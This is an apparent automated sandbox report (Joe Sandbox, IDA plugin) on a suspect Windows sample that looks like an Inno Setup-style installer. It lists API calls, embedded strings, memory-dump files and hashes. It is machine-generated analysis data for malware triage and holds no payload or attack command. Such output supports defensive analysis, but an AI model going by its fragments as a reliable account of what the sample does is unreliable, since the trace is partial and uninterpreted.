                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,0045522C,0045522C,?,0045522C), ref: 004551C7
                                                                                                                                                                                                                                        • Part of subcall function 00454F7C: WaitForInputIdle.USER32(?,00000032), ref: 00454FA8
                                                                                                                                                                                                                                        • Part of subcall function 00454F7C: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00454FCA
                                                                                                                                                                                                                                        • Part of subcall function 00454F7C: GetExitCodeProcess.KERNEL32(?,?), ref: 00454FD9
                                                                                                                                                                                                                                        • Part of subcall function 00454F7C: CloseHandle.KERNEL32(?,00455006,00454FFF,?,?,?,00000000,?,?,004551DB,?,?,?,00000044,00000000,00000000), ref: 00454FF9
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseHandleWait$CodeErrorExitIdleInputLastMultipleObjectsProcess
                                                                                                                                                                                                                                      • String ID: .bat$.cmd$COMMAND.COM" /C $D$cmd.exe" /C "
                                                                                                                                                                                                                                      • API String ID: 854858120-615399546
                                                                                                                                                                                                                                      • Opcode ID: d48cb867d8132222f58630969ce6cc8153310e3eaa120555069058459d823a95
                                                                                                                                                                                                                                      • Instruction ID: 058baa7e90e176347c833b132b7c272bf8058e823d6e061bdbf2f6311869cd9e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d48cb867d8132222f58630969ce6cc8153310e3eaa120555069058459d823a95
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 41516D34B0074DABCF10EFA5D852BDEBBB9AF44305F50447BB804B7292D7789A098B59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • LoadIconA.USER32(00400000,MAINICON), ref: 0042371C
                                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 00423749
                                                                                                                                                                                                                                      • OemToCharA.USER32(?,?), ref: 0042375C
                                                                                                                                                                                                                                      • CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 0042379C
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Char$FileIconLoadLowerModuleName
                                                                                                                                                                                                                                      • String ID: 2$MAINICON
                                                                                                                                                                                                                                      • API String ID: 3935243913-3181700818
                                                                                                                                                                                                                                      • Opcode ID: cdc8d4d12959e52a4e35ddab44250c7989461c9b781fe211d3ab07d5faa44346
                                                                                                                                                                                                                                      • Instruction ID: 339a64ebbf2375270c19ef2cfa2d714624ee8dcb7e06b01b5ae6522dc3b50067
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cdc8d4d12959e52a4e35ddab44250c7989461c9b781fe211d3ab07d5faa44346
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 243181B0A042549ADF10EF29D8C57C67BA8AF14308F4441BAE844DB393D7BED988CB59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetCurrentProcessId.KERNEL32(00000000), ref: 00418F3D
                                                                                                                                                                                                                                      • GlobalAddAtomA.KERNEL32(00000000), ref: 00418F5E
                                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 00418F79
                                                                                                                                                                                                                                      • GlobalAddAtomA.KERNEL32(00000000), ref: 00418F9A
                                                                                                                                                                                                                                        • Part of subcall function 004230C8: GetDC.USER32(00000000), ref: 0042311E
                                                                                                                                                                                                                                        • Part of subcall function 004230C8: EnumFontsA.GDI32(00000000,00000000,00423068,00410460,00000000,?,?,00000000,?,00418FD3,00000000,?,?,?,00000001), ref: 00423131
                                                                                                                                                                                                                                        • Part of subcall function 004230C8: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00423139
                                                                                                                                                                                                                                        • Part of subcall function 004230C8: ReleaseDC.USER32(00000000,00000000), ref: 00423144
                                                                                                                                                                                                                                        • Part of subcall function 0042368C: LoadIconA.USER32(00400000,MAINICON), ref: 0042371C
                                                                                                                                                                                                                                        • Part of subcall function 0042368C: GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 00423749
                                                                                                                                                                                                                                        • Part of subcall function 0042368C: OemToCharA.USER32(?,?), ref: 0042375C
                                                                                                                                                                                                                                        • Part of subcall function 0042368C: CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 0042379C
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: GetVersion.KERNEL32(?,00418FF0,00000000,?,?,?,00000001), ref: 0041F126
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: SetErrorMode.KERNEL32(00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F142
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F14E
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F15C
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F18C
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F1B5
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F1CA
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F1DF
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F1F4
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F209
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F21E
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F233
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F248
                                                                                                                                                                                                                                        • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F25D
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$AtomCharCurrentErrorGlobalLoadMode$CapsDeviceEnumFileFontsIconLibraryLowerModuleNameProcessReleaseThreadVersion
                                                                                                                                                                                                                                      • String ID: ControlOfs%.8X%.8X$Delphi%.8X
                                                                                                                                                                                                                                      • API String ID: 316262546-2767913252
                                                                                                                                                                                                                                      • Opcode ID: b417f06b73a7dba032b12b865c8ed9bc6bb92a8bfb887f153b822e9fb73695be
                                                                                                                                                                                                                                      • Instruction ID: d883a59e21ed3b4d0722d018b4a025de81f9e45e1fd093e44b5ebaba0e30331f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b417f06b73a7dba032b12b865c8ed9bc6bb92a8bfb887f153b822e9fb73695be
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AC115E706142419AD740FF76A94235A7BE1DF64308F40943FF448A7391DB3DA9448B5F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetWindowLongA.USER32(?,000000FC,?), ref: 00413664
                                                                                                                                                                                                                                      • GetWindowLongA.USER32(?,000000F0), ref: 0041366F
                                                                                                                                                                                                                                      • GetWindowLongA.USER32(?,000000F4), ref: 00413681
                                                                                                                                                                                                                                      • SetWindowLongA.USER32(?,000000F4,?), ref: 00413694
                                                                                                                                                                                                                                      • SetPropA.USER32(?,00000000,00000000), ref: 004136AB
                                                                                                                                                                                                                                      • SetPropA.USER32(?,00000000,00000000), ref: 004136C2
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: LongWindow$Prop
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3887896539-0
                                                                                                                                                                                                                                      • Opcode ID: 7846fecbe383e6d7fdaea4169180c186d89bab15e88d328ea810806c298c4441
                                                                                                                                                                                                                                      • Instruction ID: 06abc153636d574f2b9d5b42ed2ef1d3d1989bf2b09c04f5b7aa0ee96fd2bcf7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7846fecbe383e6d7fdaea4169180c186d89bab15e88d328ea810806c298c4441
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1011C975100244BFEF00DF9DDC84EDA37E8EB19364F144666B958DB2A2D738DD908B68
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,0045586F,?,00000000,004558AF), ref: 004557B5
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • PendingFileRenameOperations, xrefs: 00455754
                                                                                                                                                                                                                                      • PendingFileRenameOperations2, xrefs: 00455784
                                                                                                                                                                                                                                      • WININIT.INI, xrefs: 004557E4
                                                                                                                                                                                                                                      • SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00455738
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseOpen
                                                                                                                                                                                                                                      • String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager$WININIT.INI
                                                                                                                                                                                                                                      • API String ID: 47109696-2199428270
                                                                                                                                                                                                                                      • Opcode ID: ff5e046778063e7c615d5c8ac9a6b1d801ca0d933ef60992733312df31d3558f
                                                                                                                                                                                                                                      • Instruction ID: 0fa1da25f67206326559771d92c7e47b52ca8d856d575cc5f046ac455f5bab2a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ff5e046778063e7c615d5c8ac9a6b1d801ca0d933ef60992733312df31d3558f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FF51A974E006089FDB10EF61DC51AEEB7B9EF44305F50857BEC04A7292DB78AE49CA58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(00000000,00000000,00000000,0047C7DA,?,?,00000000,0049B628,00000000,00000000,?,004980A9,00000000,00498252,?,00000000), ref: 0047C717
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00000000,00000000,0047C7DA,?,?,00000000,0049B628,00000000,00000000,?,004980A9,00000000,00498252,?,00000000), ref: 0047C720
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateDirectoryErrorLast
                                                                                                                                                                                                                                      • String ID: Created temporary directory: $\_setup64.tmp$_isetup
                                                                                                                                                                                                                                      • API String ID: 1375471231-2952887711
                                                                                                                                                                                                                                      • Opcode ID: 3f7519f2dbd75ec89759c5e36ccc4ab0adc05f47ddd4608262a1c5d06c660367
                                                                                                                                                                                                                                      • Instruction ID: edb20439a36284776f78bdf2a161e381ec1662189dfb35441dcb715623f8c11f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3f7519f2dbd75ec89759c5e36ccc4ab0adc05f47ddd4608262a1c5d06c660367
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6F410574A001099BDB01EBA5D8C2ADEB7B5EF44309F50547BE411B7392DB389E058F69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • 74D51520.VERSION(00000000,?,?,?,ptI), ref: 00452530
                                                                                                                                                                                                                                      • 74D51500.VERSION(00000000,?,00000000,?,00000000,004525AB,?,00000000,?,?,?,ptI), ref: 0045255D
                                                                                                                                                                                                                                      • 74D51540.VERSION(?,004525D4,?,?,00000000,?,00000000,?,00000000,004525AB,?,00000000,?,?,?,ptI), ref: 00452577
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: D51500D51520D51540
                                                                                                                                                                                                                                      • String ID: ptI$%E
                                                                                                                                                                                                                                      • API String ID: 4212506595-3209181666
                                                                                                                                                                                                                                      • Opcode ID: f18440ec30d6a8502c14f0dca7f1c7caee1af709ad5b943411f89d38bbe9f821
                                                                                                                                                                                                                                      • Instruction ID: f5dca5bfdad9659449235e2d7a4f424f1fde127461be4d93bb02e754cc996b3f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f18440ec30d6a8502c14f0dca7f1c7caee1af709ad5b943411f89d38bbe9f821
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D2218331A00608BFDB01DAA989519AFB7FCEB4A300F554477F800E7242E6B9AE04C765
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • EnumWindows.USER32(00423A1C), ref: 00423AA8
                                                                                                                                                                                                                                      • GetWindow.USER32(?,00000003), ref: 00423ABD
                                                                                                                                                                                                                                      • GetWindowLongA.USER32(?,000000EC), ref: 00423ACC
                                                                                                                                                                                                                                      • SetWindowPos.USER32(00000000,\AB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004241AB,?,?,00423D73), ref: 00423B02
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$EnumLongWindows
                                                                                                                                                                                                                                      • String ID: \AB
                                                                                                                                                                                                                                      • API String ID: 4191631535-3948367934
                                                                                                                                                                                                                                      • Opcode ID: bca5fbb655e429c390612aedafb62b4dde642c29ff44978b36ddb9eb5ee27a78
                                                                                                                                                                                                                                      • Instruction ID: 3ad81c14f5822e14e615a382c86082b2427cd388a5bf15486a3129e996868218
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bca5fbb655e429c390612aedafb62b4dde642c29ff44978b36ddb9eb5ee27a78
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D6115E70700610ABDB109F28E885F5677E8EB08715F10026AF994AB2E3C378ED41CB59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegDeleteKeyA.ADVAPI32(00000000,00000000), ref: 0042DE50
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,?,00000000,0042DFEB,00000000,0042E003,?,?,?,?,00000006,?,00000000,004973CD), ref: 0042DE6B
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DE71
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressDeleteHandleModuleProc
                                                                                                                                                                                                                                      • String ID: RegDeleteKeyExA$advapi32.dll
                                                                                                                                                                                                                                      • API String ID: 588496660-1846899949
                                                                                                                                                                                                                                      • Opcode ID: ed1542cdc99e60fdc1e6205037aed1b156b4601bf62b1d4fa5b097ff81e7402e
                                                                                                                                                                                                                                      • Instruction ID: e7246de0df94fba710dd2820c0ca51643d5dd29c3ac0bea476bad59fd0e01b91
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ed1542cdc99e60fdc1e6205037aed1b156b4601bf62b1d4fa5b097ff81e7402e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 73E06DF1B41B30AAD72022657C8ABA33729DB75365F658437F105AD19183FC2C50CE9D
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • NextButtonClick, xrefs: 0046BAC0
                                                                                                                                                                                                                                      • PrepareToInstall failed: %s, xrefs: 0046BCE2
                                                                                                                                                                                                                                      • Need to restart Windows? %s, xrefs: 0046BD09
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID: Need to restart Windows? %s$NextButtonClick$PrepareToInstall failed: %s
                                                                                                                                                                                                                                      • API String ID: 0-2329492092
                                                                                                                                                                                                                                      • Opcode ID: 37ba51fdfbf3f4723fb08e99647d0fd9c61c097c060f23ffe4e001e6baa90b0a
                                                                                                                                                                                                                                      • Instruction ID: b95f389d09e957f91eb9f42d110418d47b08b3dab155efeebd7a2a0376f7d9ee
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 37ba51fdfbf3f4723fb08e99647d0fd9c61c097c060f23ffe4e001e6baa90b0a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F2D12F34A04208DFCB10EBA9D585AED77F5EF09304F5440BAE404EB352D779AE81DB9A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetActiveWindow.USER32(?,?,00000000,00482EB9), ref: 00482C8C
                                                                                                                                                                                                                                      • SHChangeNotify.SHELL32(08000000,00000000,00000000,00000000), ref: 00482D2A
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ActiveChangeNotifyWindow
                                                                                                                                                                                                                                      • String ID: $Need to restart Windows? %s
                                                                                                                                                                                                                                      • API String ID: 1160245247-4200181552
                                                                                                                                                                                                                                      • Opcode ID: 81628947227ec58f55b2c351f2131b28aedfbb6b6148b8ba4744526014514c8c
                                                                                                                                                                                                                                      • Instruction ID: 086790f0fc0b942e3ee9f07944933bacbb32a26cbddea002bc31c7aef2919c1b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 81628947227ec58f55b2c351f2131b28aedfbb6b6148b8ba4744526014514c8c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 60919F746002449FDB10FB69D9C5BAE7BE5AF59304F4484BBE8009B3A2C7B8AD05CB5D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042C804: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C828
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,0046FB4D,?,?,0049C1DC,00000000), ref: 0046FA2A
